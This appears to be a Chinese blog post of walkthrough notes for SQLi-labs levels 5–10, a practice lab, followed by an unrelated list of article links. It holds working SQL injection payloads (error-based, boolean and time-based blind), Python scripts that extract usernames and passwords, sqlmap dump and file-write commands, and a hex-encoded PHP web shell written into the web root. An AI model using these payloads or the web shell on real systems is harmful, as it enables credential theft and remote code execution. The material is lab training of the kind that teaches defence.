Sqlilabs通关笔记(二)
第五关 基于GET单引号双注入
存在注入点判断
- 输入单引号测试,有报错信息,返回信息和第一关错误信息一样
- 不管输入id为多少,页面一直都是 you are in ....猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }} else { echo "Please input the ID as parameter with numeric value";}
但是会把错误的信息给打印出来
- 所以应该用到双注入(也称报错注入),在错误中把要的信息打印出来
报错注入方式(十种)
该注入原理可以查找资料,注入方式的有资料[1]可以点击查看,如下只列举常遇到的十种报错注入的方式
-
floor函数注入
- count():查询数量
- rand():产生0~1间的随机数
- floor():向下取整
- group by:按指定分类
- 函数介绍
- 写法
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* 运用
http://localhost/sqlilabs2/Less-5/index.php?id=-1' union select 1,count(*),concat((floor(rand(0)*2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23
* 使用注意
- payload是在中间concat部分,修改该部分可以执行不同命令
- 只能用concat连接 ,group_concat不行,且每次只能显示一条数据
- 要让上述的报错实现,数据库至少要3条数据
-
extractvalue函数注入select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
- 运用
- 对XML文档进行查询
- EXTRACTVALUE (XML_document, XPath_string);
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:XPath_string (Xpath格式的字符串)
- 作用:从目标XML中返回包含所查询值的字符串
- 函数介绍
- 写法
* 使用注意
- MySQL 5.1.5版本以上才支持该函数
- 返回的数据限制为32位
- 可以用substring函数进行数据位移偏转
http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select substring(group_concat(username),1) from users),0x7e)))--+
-
updatexml函数注入select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
- 运用
- 对XML文档进行修改
- UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:XPath_string (Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值
- 函数介绍
- 写法
http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
* 使用注意
- MySQL 5.1.5版本以上才支持该函数
- 返回的数据限制为32位
- 可以用substring函数进行数据位移偏转
-
geometrycollection函数注入
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
- 运用
- 使用注意
- 函数介绍
- 写法
-
multipoint函数注入
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
- 运用
- 使用注意
- 函数介绍
- 写法
-
polygon函数注入
- 函数介绍
- 写法select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
- 运用
- 使用注意
-
multipolygon函数注入
- 函数介绍
- 写法select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
- 运用
- 使用注意
-
linestring函数注入
- 函数介绍
- 写法select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
- 运用
- 使用注意
-
multilinestring函数注入
- 函数介绍
- 写法select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
- 运用
- 使用注意
-
exp函数注入
- 函数介绍
- 写法select * from test where id=1 and exp(~(select * from(select user())a));
- 运用
- 使用注意
第六关 基于GET双引号双注入
和第五关类似,只要用双引号闭合即可
http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(*),concat((floor(rand(0)*2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23
SQLMAP注入
直接上payload(第五六题均可用)
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch
第七关 基于文件写入注入
存在注入点判断
- 任意输入单引号,会显示报错
- 正常运行提示 Use outfile...... 所以理解为写入mm文件执行
- 通过尝试发现闭合')),通过查看源代码,再次确定闭合成功
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......'; echo "<br>"; echo "</font>"; } else { echo '<font color= "#FFFF00">'; echo 'You have an error in your SQL syntax'; //print_r(mysql_error()); echo "</font>"; }} else { echo "Please input the ID as parameter with numeric value";}
写入文件配置(使用条件)
secure-file-priv- 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
- secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
- secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
- secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制
mysql使用以下命令查看是否打开文件写入开关
show global variables like '%secure%'
修改my.ini添加secure-file-priv参数,没有填具体值表示不做限制(这样做其实很危险)
重启mysql即可
写入敏感文件
写入一句话木马
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:softsphpstudy_proWWWsqlilabs2Less-7mm2.php"--+
写入phpinfo
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:softsphpstudy_proWWWsqlilabs2Less-7pp2.php--+
写入需要注意的
- 写入的内容需要用hex转码,以防拦截
- 写入的前提需要知道物理文件路径
- 写入的前提是有权限写入,或者有配置写入的权限
可以在文件目录查看发现文件写入成功
同时网页可以直接访问该文件并执行
读取敏感文件
- 前提要有页面输出哦!
http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:mm.php'),3--+
SQLMQP 读写文件
文件读取
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:mm.php"
文件写入
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:sql2.php" --batch
第八关 基于GET单引号布尔型盲注
存在注入点判断
- 通过反斜杠可知,错误和正常页面有区别
- 可以构造payload来进行判断布尔值,从而确定要查询的结果 http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 's'=left(database(),1)--+ 页面正常 说明第一个字母为s http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 'se'=left(database(),2)--+ 页面正常 第二个字母e ................... 以此类推可以将数据结果得出
- 利用二分法构造payload
SELECT * from users WHERE id = 1 and (length(database())=8)
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
SELECT * from users WHERE id = 1 and 's'=left(database(),1)
SELECT * from users WHERE id = 1 and if((length(database())=8),1,0)
- 脚本编写
- ascii() 函数,返回字符ascii码值
- length() 函数,返回字符串的长度
- left() 函数,返回从左至右截取固定长度的字符串
- substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
- if函数,判断条件并作出不同行动
- 参数 : str单字符
- 参数 : str 字符串
- 参数str,length
- str : 字符串
- length:截取长度
- 参数,str,pos,length
- str: 字符串
- pos:开始位置
- length:截取长度
- 参数,条件,成立,不成立
- 常用构造函数
- 实例构造
import stringimport requestsfrom time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and "
def checkurl(url): res = requests.get(url) if res.ok: if 'You are in' in res.text: return True return False
def main(): flag = '' for g in range(100): for i in arlist: payload = "substr((select group_concat(username,password) from users),%s,1) = '%s'--+" % ( g, i) finalurl = Baseurl + payload if checkurl(finalurl): flag = flag + str(i) print(flag) sleep(0.2)
if __name__ == "__main__": main()
SQLMAP注入
直接上payload
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch
第九关 基于GET单引号基于时间盲注
存在注入点判断
- 加上反斜杠发现页面并无变化
- 猜测不管语法对错页面都没有变化
- 尝试使用sleep看是否执行
- 布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错
- 查看源码验证布尔盲注和时间盲注 布尔源码如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }} else { echo "Please input the ID as parameter with numeric value";}
?>
时间盲注源码如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }} else { echo "Please input the ID as parameter with numeric value";}
- 布尔注释掉了输出错误信息,而时间盲注不管对错页面都是You are in..
- 尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and if((length(database())=8),sleep(5),1)--+
- 脚本编写
import stringimport requestsfrom time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and "
def checkurl(url): try: res = requests.get(url,timeout = 3) return True except Exception as e: return False
def main(): flag = '' for g in range(100): for i in arlist: payload = "if((substr((select group_concat(username,password) from users),%s,1) = '%s'),sleep(5),1)--+" % ( g, i) finalurl = Baseurl + payload if checkurl(finalurl): flag = flag + str(i) print(flag) sleep(0.2)
if __name__ == "__main__": main()
第十关 基于GET双引号基于时间盲注
存在注入点判断
- 和第九关类似,只不过需要用双引号闭合
payload:
http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+
SQLMAP注入
直接上payload(9-10通用)
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch
参考资料
[1]
资料: https://www.cnblogs.com/csyxf/p/10241456.html
- redis 学习笔记(4)-HA高可用方案Sentinel配置
- oracle: job使用
- velocity模板引擎学习(2)-velocity tools 2.0
- java:如何用代码控制H2 Database启动
- 游戏开发完整学习路线(各个版本都有)
- spring mvc4:异常处理
- TCP/IP, WebSocket 和 MQTT
- struts2: 玩转 rest-plugin
- 设置系统环境变量立即生效的VBS脚本
- velocity模板引擎学习(1)
- mybatis 3.x 缓存Cache的使用
- XStream、JAXB 日期(Date)、数字(Number)格式化输出xml
- mac: vmware fusion中cent os启动假死的解决办法
- java:hibernate + oracle之坑爹的clob
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Spring Boot 多版本更新,紧急修复 RFD 安全漏洞
- 【查找】折半查找/二分查找
- Kubernetes 1.19.0——密码管理
- centos 安装软件的方法
- 【深入理解java集合系列】ArrayList实现原理
- 【深入理解java集合系列】HashMap实现原理
- 【深入理解java集合系列】HashSet实现原理
- 【深入理解java集合系列】LinkedHashSet实现原理
- 突击并发编程JUC系列-原子引用AtomicReference
- JVM类加载过程科普
- 程序员自我修养之 Git 提交信息和分支创建规范
- Django使用redis作为缓存系统
- 一天一大 leet(两个数组的交集 II)难度:简单-Day20200713
- 2020年研一末找实习总结(面经)
- 一天一大 leet(三角形最小路径和)难度:中等-Day20200714